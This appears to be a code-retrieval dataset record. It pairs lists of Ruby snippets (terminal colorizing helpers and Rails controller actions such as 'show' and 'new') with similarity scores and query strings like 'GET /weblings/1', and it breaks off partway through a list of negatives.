"def display_info_about_app\n info_msg = \"Look Dude or Dudette ! All You Need To Know Is That This Is A Great App And You Should Be Very Happy It Fell Into Your Lap. It Will Help You Navigate The World Of Pharmacies, Especially If You Are An Orc Or A Kobolt Or One Of Those UnderWorld Creatures! And If You Happen To Be A DarkElf, Know That Drizzt D'Urden Is A Good Friend Of This ... WhatEver This Is!\"\n puts \"\" \n puts \" -- #{ info_msg } -- \".colorize(:color => :light_blue, :background => :white)\n puts \"\" \nend",
"def cprint (msg = \"\", color = \"\")\n\n # Identify method entry\n debug_print \"#{ self } : #{ __method__ }\\n\"\n\n # This little check will allow us to take a Constant defined color\n # As well as a [0-256] value if specified\n if (color.is_a?(String))\n debug_print \"Custom color specified for cprint\\n\"\n @output.write(color)\n elsif (color.between?(0, 256))\n debug_print \"No or Default color specified for cprint\\n\"\n @output.write(\"\\e[38;5;#{ color }m\")\n end\n\n @output.write(msg)\n end",
"def get_color\n completed? ? 'info' : 'warning'\n end",
"def bold_error(*args); end",
"def thud(title, message)\r\n Tk.messageBox('icon' => 'error', 'type' => 'ok', \r\n 'title' => title, 'message' => message)\r\nend",
"def error(message)\n $stderr.puts colorize(message, :error)\n end",
"def color(str, c)\n ENV['NO_COLOR'] ? str : \"\\033[#{c}m#{str}\\033[0m\"\n end",
"def bold_warning(*args)\n color('1;33', *args)\n end",
"def message(string)\n puts\n puts \"[#{colorize(\"--\", \"blue\")}] #{ string }\"\nend",
"def print_error(text)\n\tif STDOUT.tty?\n\t\tputs \"\\e[31m[!]\\e[0m #{text}\"\n\telse\n\t\tputs \"[!] #{text}\"\n\tend\nend",
"def error(message, options = {})\n options[:prefix] ||= \" - \"\n options[:color] ||= :red\n output message, options\n end",
"def error(message)\n err(\"#{color('ERROR:', :red, :bold)} #{message}\")\n end",
"def test_does_not_colorize_when_tty_method_not_defined_and_SSHKIT_COLOR_not_present\n color = SSHKit::Color.new(stub(), {})\n assert_equal 'hi', color.colorize('hi', :red)\n end",
"def color(color, str)\n raise \"[BUG] Unrecognized color #{color}\" unless COLORS[color]\n\n # Almost any real Unix terminal will support color,\n # so we just filter for Windows terms (which don't set TERM)\n # and not-real terminals, which aren't ttys.\n return str if ENV[\"TERM\"].nil? || ENV[\"TERM\"].empty? || !STDOUT.tty?\n return \"\\e[#{COLORS[color]}m#{str}\\e[0m\"\n end",
"def colorized?; end",
"def log( *msg )\n\t\t\toutput = colorize( msg.flatten.join(' '), 'cyan' )\n\t\t\t$stderr.puts( output )\n\t\tend",
"def color_support?\n !(RbConfig::CONFIG['host_os'] =~ /mswin|mingw/) || ENV['ANSICON']\n end",
"def say_notice(string)\n HighLine.new.say(\"\\n<%= color('#{string}', :notice ) %>\\n\")\n end",
"def message\n if message_level == :error\n red_text(\"The ENV #{@var} is required, #{@message}\")\n elsif message_level == :info\n green_text(\"The ENV #{@var} was found in the environment with the value #{value}\")\n elsif message_level == :warning\n yellow_text(\"WARNING: the ENV #{@var} is not set, proceeding with default value: #{@default}\")\n end\n end",
"def user_message(msg, level=0, type=\"info\")\n if not(quiet_mode?)\n message(type, :green, \" \"*level + msg)\n end\n end",
"def color?\n ##Chef::Config[:color] && stdout.tty? && !Chef::Platform.windows?\n :red\n end",
"def verbose_message(msg)\n\t\t\t\tUI.message(msg) if (@verbose)\n\t\t\tend",
"def message text\n $stderr.puts text\n end",
"def message text\n $stderr.puts text\n end",
"def warn(message)\n $stdout.puts(message.red)\nend",
"def cyan; if @options[:colors]; \"\\e[1;36m\" else \"\" end end",
"def error_style(error)\n red_style(error)\nend",
"def err(input)\n puts \"[#{Time.now.strftime(\"%T\").purple} \" + \"ERROR\".red + \"] \" + \"#{input.red}\"\n end",
"def text_color(param)\n begin \n colour = case param\n when Integer then super(param) rescue normal_color\n when Symbol then send(param) rescue normal_color\n when Array then Color.new(*param) rescue normal_color\n else\n normal_color\n end\n end\n colour.is_a?(Color) ? colour : normal_color\n end",
"def plain_output(message, color)\n if @options['without-color']\n puts message\n else\n puts Colorize.send(color, message)\n end\n end",
"def fatal(input)\n puts \"[#{Time.now.strftime(\"%T\").purple} \" + \"FATAL\".red.bold + \"] \" + \"#{input.red.bold}\"\n end",
"def info(text)\n puts \"#{text}\".foreground(:cyan)\n end",
"def info(message)\n puts \"\\e[35m#{message}\\e[0m\"\n end",
"def info(message, color: nil)\n unless AIPP.options.quiet\n puts color ? message.upcase_first.send(color) : message.upcase_first\n end\n end",
"def error(message)\n STDERR.puts <<-EOS\n\\u001b[1;91mERROR\\u001b[0m \\u001b[1m#{message}\\u001b[0m\n\n#{self.banner}\n EOS\n exit 1\n end",
"def warn(part, msg)\n self.project.shell.say \"\\033[37m#{part.class.to_s}\\033[0m\" + \" : \" + \"\\033[31m#{msg.to_s}\\033[0m\", nil, true\n end",
"def print_error(msg='')\n end",
"def red(string)\n \"\\033[0;31m#{string}\\e[0m\"\nend",
"def red(string)\n \"\\033[0;31m#{string}\\e[0m\"\nend",
"def red\n colorize \"\\033[31m\"\n end",
"def red(string)\n \"\\033[0;33m#{string}\\033[0m\"\nend",
"def red(string)\n \"\\033[0;33m#{string}\\033[0m\"\nend",
"def textColor(theColor, target = nil)\n return if theColor.nil?\n views = @alert.window.contentView.subviews # the standard label fields\n case target\n when 'message' then views[4].textColor = MEalert.getColor(theColor, 'textColor')\n when 'informative' then views[5].textColor = MEalert.getColor(theColor, 'textColor')\n else @coloration[:text] = theColor\n end\n end",
"def fatal_error(error)\n if $stdout.isatty\n $stdout.puts(\"\\033[31m#{error.message}\\033[0m\")\n else\n $stdout.puts(error.message)\n end\n end",
"def warn(part, msg)\n self.project.shell.say \"\\033[37m#{part.class.to_s}\\033[0m\" + \" : \" + \"\\033[31m#{msg.to_s}\\033[0m\", nil, true\n end",
"def display_error_message(ex)\n $stderr.puts self.to_s()\n super(ex) \n end",
"def red\n colorize(:red)\nend",
"def html_out(msg, color_name=\"black\")\n\t\t\trgb = Color::RGB::by_name color_name\n\t\t\tputs \"<span style='color:#{rgb.css_rgb};'>#{msg}</span>\"\n\t\tend",
"def welcome_message\r\n system(\"clear\")\r\n a = Artii::Base.new :font => 'slant'\r\n puts a.asciify('Make 10').colorize(:white).on_green\r\n puts (\"This app can find solutions for the game Make 10.\")\r\n end",
"def default_exception_renderer=(_arg0); end"
] |
[
"0.6698881",
"0.66881526",
"0.6680915",
"0.6563973",
"0.65303457",
"0.64081424",
"0.63884807",
"0.63884807",
"0.63070095",
"0.62809426",
"0.61979705",
"0.6187444",
"0.61864877",
"0.61864877",
"0.6171623",
"0.6147538",
"0.614518",
"0.61443585",
"0.61362326",
"0.60699767",
"0.6052089",
"0.6044749",
"0.602882",
"0.602832",
"0.60189044",
"0.60105765",
"0.59848803",
"0.5980932",
"0.5977583",
"0.59611815",
"0.5953653",
"0.5941339",
"0.59358853",
"0.59305966",
"0.58951366",
"0.58672225",
"0.5860637",
"0.58468896",
"0.5837761",
"0.58251435",
"0.58251435",
"0.58182603",
"0.5805173",
"0.5799331",
"0.5791323",
"0.5768864",
"0.57667387",
"0.5734878",
"0.5695448",
"0.56870764",
"0.5687009",
"0.56827796",
"0.5682284",
"0.56787753",
"0.56731963",
"0.56680745",
"0.56575376",
"0.565647",
"0.565125",
"0.5608967",
"0.5592146",
"0.5585743",
"0.55649513",
"0.5562856",
"0.5560156",
"0.5552414",
"0.5541948",
"0.5540984",
"0.55235505",
"0.55235445",
"0.55164546",
"0.5507743",
"0.5507743",
"0.55062187",
"0.5486377",
"0.5481798",
"0.5477587",
"0.5477053",
"0.5476973",
"0.5475702",
"0.54704046",
"0.54649574",
"0.54634947",
"0.5463437",
"0.54572994",
"0.54541653",
"0.54525125",
"0.54525125",
"0.54501086",
"0.54451483",
"0.54451483",
"0.5443532",
"0.54279125",
"0.5425102",
"0.54237425",
"0.5417506",
"0.5413198",
"0.54058284",
"0.5404845"
] |
0.62837005
|
10
|
GET /weblings/1 GET /weblings/1.json
|
def show
@webling = Webling.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render json: @webling }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n @web = Web.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @web }\n end\n end",
"def new\n @webling = Webling.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @webling }\n end\n end",
"def show\n @wager = Wager.find(params[:id])\n\n render json: @wager\n end",
"def index\n @lophs = Loph.all\n respond_to do |format|\n format.html\n format.json { render json: @lophs}\n end\n end",
"def show\n @behatweb = Behatweb.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @behatweb }\n end\n end",
"def show\n @website = Website.find(params[:id])\n\n render json: @website\n end",
"def show\n render json: @wellist\n end",
"def show\n @web_app = WebApp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @web_app }\n end\n end",
"def show\n @strategyweb = Strategyweb.find(params[:id])\n\n respond_to do |format|\n format.html\n# format.json { render json: @strategyweb }\n end\n end",
"def show\n @web_page = WebPage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @web_page.to_api_hash }\n end\n end",
"def web_request\n response_string = RestClient.get('http://www.swapi.co/api/people/')\n response_hash = JSON.parse(response_string)\nend",
"def index\n @lights = Light.all\n\n render json: @lights\n end",
"def show\n @lei = Lei.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lei }\n end\n end",
"def index\n weathers = Weather.all\n render json: weathers, status: 200\n end",
"def realtime\n render :json=>WebUrl.all.map(&:url).to_json\n end",
"def show\n @witch = Witch.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @witch }\n end\n end",
"def show\n @railway = Railway.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @railway }\n end\n end",
"def show\n hub = Hub.find(params[:id])\n respond_to do |format|\n format.json { render :json => hub.warehouses }\n end\n end",
"def show\n @leye = Leye.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @leye }\n end\n end",
"def index\n @wrestlers = Wrestler.all\n end",
"def index\n @wigs = Wig.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @wigs }\n end\n end",
"def index\n @litters = Litter.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @litters }\n end\n end",
"def serv_json\n \"http://api.dribbble.com/shots/popular?page=1\"\n end",
"def get_json(path)\n puts \"*** GET #{path}\"\n\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n puts \"HTTP #{response.code}\"\n\n puts JSON.pretty_generate(result)\n result\nend",
"def index\n @lugars = Lugar.all\n\n render json: @lugars\n end",
"def show\n @bottling = Bottling.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bottling }\n end\n end",
"def index\n @whoarewes = Whoarewe.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @whoarewes }\n end\n end",
"def get\n\t\t\t result = Status.find_by(windmillid: params[:windmillid]) \n \t\t\trender json: [result.as_json(only: [:status,:power,:gen,:frequency,:rotor,:wind,:pitch])]\n\tend",
"def get_json(path)\n puts \"*** GET #{path}\"\n\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n puts \"HTTP #{response.code}\"\n\n #puts JSON.pretty_generate(result)\n result\nend",
"def get_json(path)\n puts \"*** GET #{path}\"\n\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n puts \"HTTP #{response.code}\"\n\n #puts JSON.pretty_generate(result)\n result\nend",
"def index\n @sightings = Sighting.all\n render json: @sightings\n end",
"def index\n @witnesses = Witness.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @witnesses }\n end\n end",
"def show\n @litra = Litra.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @litra }\n end\n end",
"def room_descriptions_method\r\n my_port = 8081\r\n htttproomnumber = $roomnumber\r\n roomsNtext = \"/#{htttproomnumber}\"\r\n rooms_message = \"/rooms#{roomsNtext}\"\r\n url = URI.parse(\"http://localhost:#{my_port}#{rooms_message}\")\r\n req = Net::HTTP::Get.new(url.to_s)\r\n res = Net::HTTP.start(url.host, url.port){|http|\r\n http.request(req)\r\n }\r\n my_json = JSON.parse(res.body) \r\n return my_json[\"room\"].to_s\r\nend",
"def index\n @losts = Lost.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @losts }\n end\n end",
"def get_json(path)\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n #puts \"🤖 GET #{path}\"\n #puts \"HTTP #{response.code}\"\n #puts JSON.pretty_generate(result)\n result\nend",
"def show\n @wine = Wine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @wine }\n end\n end",
"def show\n @leito = Leito.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @leito }\n end\n end",
"def index \n render json: Tuning.all\n end",
"def show\n @pinglun = Pinglun.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pinglun }\n end\n end",
"def index\n @wowolinks = Wowolink.all\n respond_to do |format|\n format.json {\n render :json => @wowolinks, :layout => false\n }\n end\n end",
"def show\n @lore = Lore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lore }\n end\n end",
"def index\n @gets = Get.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @gets }\n end\n end",
"def index\n @specialties = Specialty.all\n\n render json: @specialties\n end",
"def index\n @wks = Wk.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @wks }\n end\n end",
"def show\n @monit = Monit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @monit }\n end\n end",
"def show\n @monel = Monel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @monel }\n end\n end",
"def show\n @wig = Wig.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @wig }\n end\n end",
"def index\n @lessons = Lesson.all\n\n render 'index.json'\n end",
"def index\n @harvestings = Harvesting.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @harvestings }\n end\n end",
"def index\n @simple_chores = SimpleChore.all\n respond_to do |format|\n format.html\n format.json { render :json => @simple_chores }\n end\n end",
"def route\n hitch = Hitch.find(params[:hitch_id])\n render json: hitch.geojson\n end",
"def show\n @rink_league = RinkLeague.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rink_league }\n end\n end",
"def index\n hardware = Hardware.all\n render json: hardware.to_json(:except => [:id])\n end",
"def index\n @link_name = \"horas\"\n @time_work = TimeWork.new\n @time_works = TimeWork.all_by_user_session user_web\n\n respond_to do |format|\n respond_msg\n format.html # index.html.erb\n format.json { render json: {time_works: @time_works, time_work: @time_work} }\n end\n end",
"def lws_api_get(path)\n # See also catalog_controller for use of ENV['LWS_...']\n url ||= ENV['LWS_API_URL']\n url ||= \"#{ENV['LWS_CORE_URL']}/api\" if ENV['LWS_CORE_URL']\n \n # http://localhost:8888/api/collections\n resp = Net::HTTP.get_response(URI.parse(\"#{url || 'http://127.0.0.1:8888/api'}#{path}\"))\n result = JSON.parse(resp.body)\n end",
"def index\n @buisnesses = Buisness.all\n\n render json: @buisnesses \n end",
"def get_reading\n\t\turi = URI.parse('http://localhost:5000/thermometers.json')\n\t\tthermo_response = Net::HTTP.get_response(uri)\n\t\tcheck = thermo_response.body\n\t\tj = JSON.parse(check)\n\tend",
"def show\n @kolegij = Kolegij.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @kolegij }\n end\n end",
"def show\n @tower = Tower.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @tower }\n end\n end",
"def get_api_json\n response_string = RestClient.get('http://www.swapi.co/api/people/')\n JSON.parse(response_string)\nend",
"def index\n @urls = ShortenedUrl.order(\"updated_at ASC\").all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @urls }\n end\n end",
"def index\n @shorteners = Shortener.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shorteners }\n end\n end",
"def show\n @welcom_development = WelcomDevelopment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @welcom_development }\n end\n end",
"def index\n @weapons = Weapon.all\n\n render json: @weapons\n end",
"def index\n @pots = Pot.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pots }\n end\n end",
"def show\n @microplst = Microplst.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @microplst }\n end\n end",
"def show\n @harvest_trello = HarvestTrello.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @harvest_trello }\n end\n end",
"def index\n @german_go_leagues = GermanGoLeague.all\n\t\t@title = \"Bundesliga Spiele\"\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @german_go_leagues }\n end\n end",
"def show\n @lede = Lede.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lede }\n end\n end",
"def swapi_fetch(url)\n JSON.parse(open(url).read)\nend",
"def index\n @networkings = Networking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @networkings }\n end\n end",
"def show\n @wash = Wash.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @wash }\n end\n end",
"def show\n @lieu = Lieu.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lieu }\n end\n end",
"def index\n @money = Money.all\n require 'net/http'\n require 'json'\n @url = 'https://api.coinmarketcap.com/v1/ticker/'\n @uri = URI(@url)\n @response = Net::HTTP.get(@uri)\n @lookup_money = JSON.parse(@response)\n end",
"def index\n @winners = Winner.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @winners }\n end\n end",
"def index\n @minerals = Mineral.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @minerals }\n end\n end",
"def index\n sighting = Sighting.all \n render json: SightingSerializer.new(sighting)\n end",
"def index\n # @wikis = Wiki.all\n @wikis = Wiki.find_all_by_title('Home')\n @allwikis = Wiki.recent.limit(10) \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @wikis }\n end\n end",
"def show\n @go_slim = GoSlim.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @go_slim }\n end\n end",
"def show\n @liber777_table = Liber777Table.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @liber777_table }\n end\n end",
"def index\n @heroes = Hero.all\n\n render json: @heroes\n end",
"def show\n @hetong = Hetong.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hetong }\n end\n end",
"def show\n @heli_kit = HeliKit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @heli_kit }\n end\n end",
"def index\n @loves = Love.all\n render json: @loves\n end",
"def index\n @powiadomienia = Powiadomienie.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @powiadomienia }\n end\n end",
"def show\n @hotele = Hotele.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hotele }\n end\n end",
"def show\n @sleuths = HTTParty.get('https://webservice.wikipathways.org/findPathwaysByText?query=' + @sleuth.ext_gene + '&species=homo+sapiens&format=json',\n :headers =>{'Content-Type' => 'application/json'} )\n @pubs = HTTParty.get('https://eutils.ncbi.nlm.nih.gov/entrez/eutils/esearch.fcgi?db=pubmed&retmode=json&term='+ @sleuth.ext_gene,\n :headers =>{'Content-Type' => 'application/json'} )\n end",
"def index\n @tunes = Tune.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tunes }\n end\n end",
"def show\n @wk = Wk.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @wk }\n end\n end",
"def show\n\t\trender json: @url, status: 200\n\tend",
"def getJson(url)\n\t\tencoded_url = URI.encode(\"https://cryptic-mountain-56365.herokuapp.com/api/v1\"+url)\n\t\turi = URI.parse(encoded_url)\n\t\tjson = Net::HTTP.get(uri)\n\tend",
"def show\n @potluck = Potluck.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @potluck }\n end\n end",
"def show\n @bottle = Bottle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bottle }\n \tformat.json { render :json => @bottle }\n\t\tend\n end",
"def index\n render json: {\n status: :success,\n urls: ShortUrl::top_100\n }\n end",
"def show\n @grumble = Grumble.find(params[:id])\n render status: 200, json: @grumble.to_json\n end",
"def index\n @wms = WmsResult.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @wms }\n end\n end",
"def index\n @glasses = Glass.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @glasses }\n end\n end",
"def index\n render json: Loan.all\n end",
"def show\n @subway = Subway.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subway }\n end\n end"
] |
[
"0.69977915",
"0.64244807",
"0.640219",
"0.6338537",
"0.63348544",
"0.63128954",
"0.6306903",
"0.62396985",
"0.6236385",
"0.6214677",
"0.6207342",
"0.6185464",
"0.61845106",
"0.61829215",
"0.6147064",
"0.6146732",
"0.6143537",
"0.6087364",
"0.60851365",
"0.60816455",
"0.608083",
"0.6070704",
"0.6067165",
"0.60663027",
"0.6058603",
"0.6055821",
"0.60498655",
"0.60350066",
"0.60336685",
"0.60336685",
"0.6031207",
"0.60014784",
"0.5997642",
"0.59941673",
"0.5991573",
"0.5985975",
"0.5985126",
"0.5979668",
"0.5971918",
"0.5970013",
"0.59653574",
"0.59557056",
"0.5954267",
"0.59525955",
"0.5947646",
"0.5945891",
"0.5944227",
"0.59416807",
"0.59305567",
"0.5930441",
"0.5928589",
"0.59216374",
"0.5921287",
"0.59179306",
"0.5904523",
"0.5893419",
"0.5890134",
"0.58894837",
"0.5883572",
"0.58810925",
"0.5879607",
"0.5877876",
"0.5873906",
"0.5872848",
"0.5863342",
"0.58585584",
"0.58568037",
"0.5853978",
"0.58470863",
"0.58461255",
"0.58440953",
"0.5835521",
"0.5835476",
"0.58333826",
"0.58306336",
"0.5828372",
"0.5824302",
"0.5818259",
"0.5817579",
"0.58157957",
"0.5815059",
"0.5813051",
"0.58088887",
"0.58066386",
"0.5806512",
"0.5802147",
"0.5799988",
"0.5796883",
"0.57950246",
"0.5789909",
"0.5785096",
"0.5781561",
"0.57770944",
"0.5774416",
"0.5773",
"0.57683676",
"0.5765326",
"0.5763154",
"0.57623",
"0.5761897"
] |
0.7496547
|
0
|
GET /weblings/new GET /weblings/new.json
|
def new
@webling = Webling.new
respond_to do |format|
format.html # new.html.erb
format.json { render json: @webling }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @press = Press.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @press }\n end\n end",
"def new\n @lost = Lost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lost }\n end\n end",
"def new\n @railway = Railway.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @railway }\n end\n end",
"def new\n @url = Url.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @url }\n end\n end",
"def new\n @monkey = Monkey.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @monkey }\n end\n end",
"def new\n @witch = Witch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @witch }\n end\n end",
"def new\n @pinglun = Pinglun.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pinglun }\n end\n end",
"def new\n @thing = Thing.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @thing }\n end\n end",
"def new\n @what = What.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @what }\n end\n end",
"def new\n @pot = Pot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pot }\n end\n end",
"def new\n @lore = Lore.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lore }\n end\n end",
"def new\n @web_app = WebApp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @web_app }\n end\n end",
"def new\n @monel = Monel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @monel }\n end\n end",
"def new\n @potluck = Potluck.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @potluck }\n end\n end",
"def create\n @webling = Webling.new(params[:webling])\n\n respond_to do |format|\n if @webling.save\n format.html { redirect_to @webling, notice: 'Webling was successfully created.' }\n format.json { render json: @webling, status: :created, location: @webling }\n else\n format.html { render action: \"new\" }\n format.json { render json: @webling.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @wine = Wine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wine }\n end\n end",
"def new\n @wine = Wine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wine }\n end\n end",
"def new\n @thing = Thing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @thing }\n end\n end",
"def new\n @lift = Lift.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lift }\n end\n end",
"def new\n @stuff = Stuff.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @stuff }\n end\n end",
"def new\n @get = Get.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @get }\n end\n end",
"def new\n @monit = Monit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @monit }\n end\n end",
"def new\n @hoge = Hoge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hoge }\n end\n end",
"def new\n @wanted = Wanted.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wanted }\n end\n end",
"def new\n @newspage = Newspage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @newspage }\n end\n end",
"def new\n @bottling = Bottling.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bottling }\n end\n end",
"def new\n @thought = Thought.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @thought }\n end\n end",
"def new\n @lei = Lei.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lei }\n end\n end",
"def new\n @wig = Wig.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wig }\n end\n end",
"def new\n @ninja = Ninja.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ninja }\n end\n end",
"def new\n @laugh = Laugh.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @laugh }\n end\n end",
"def new\n @tower = Tower.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @tower }\n end\n end",
"def new\n @glass = Glass.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @glass }\n end\n end",
"def new\n @behatweb = Behatweb.new\n\n respond_to do |format|\n format.html { render :layout => 'default'} # new.html.erb\n format.json { render json: @behatweb }\n end\n end",
"def new\n @phile = Phile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @phile }\n end\n end",
"def new\n @ram = Ram.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ram }\n end\n end",
"def new\n @lot = Lot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @lot }\n end\n end",
"def new\n @page_title = 'New URL'\n @url = ShortenUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @url }\n end\n end",
"def new\n @trail = Trail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trail }\n end\n end",
"def new\n @trail = Trail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trail }\n end\n end",
"def new\n @click = Click.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @click }\n end\n end",
"def new\n @harvest_trello = HarvestTrello.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @harvest_trello }\n end\n end",
"def new\n @take = Take.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @take }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @alley }\n end\n end",
"def new\n @boot = Boot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @boot }\n end\n end",
"def new\n @cool = Cool.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cool }\n end\n end",
"def new\n @gl = Gl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gl }\n end\n end",
"def new\n @leye = Leye.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @leye }\n end\n end",
"def new\n @unp = Unp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @unp }\n end\n end",
"def new\n @wish = Wish.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wish }\n end\n end",
"def new\n @lugar = Lugar.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lugar }\n end\n end",
"def new\n @trenton = Trenton.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trenton }\n end\n end",
"def new\n @kolegij = Kolegij.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @kolegij }\n end\n end",
